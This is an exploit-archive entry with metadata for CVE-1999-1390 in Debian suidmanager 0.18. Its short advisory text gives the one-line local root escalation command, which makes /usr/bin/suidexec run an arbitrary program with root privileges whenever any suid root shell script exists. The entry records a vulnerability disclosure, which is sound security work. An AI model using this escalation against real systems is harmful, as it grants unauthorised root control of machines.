Debian suidmanager 0.18 - Command Execution

Author: Thomas Roessler
type: local
platform: linux
port: 
date_added: 1998-04-28  
date_updated: 2017-11-15  
verified: 1  
codes: CVE-1999-1390;OSVDB-6332  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 19080.txt  

source: https://www.securityfocus.com/bid/94/info

/usr/bin/suidexec will execute arbitrary commands as root,
as soon as just _one_ suid root shell script can be found
on the system: Just invoke

/usr/bin/suidexec <your program> /path/to/script

- it will happily execute your program with euid = 0. This
is completely sufficient for doing arbitrary damage on the
system.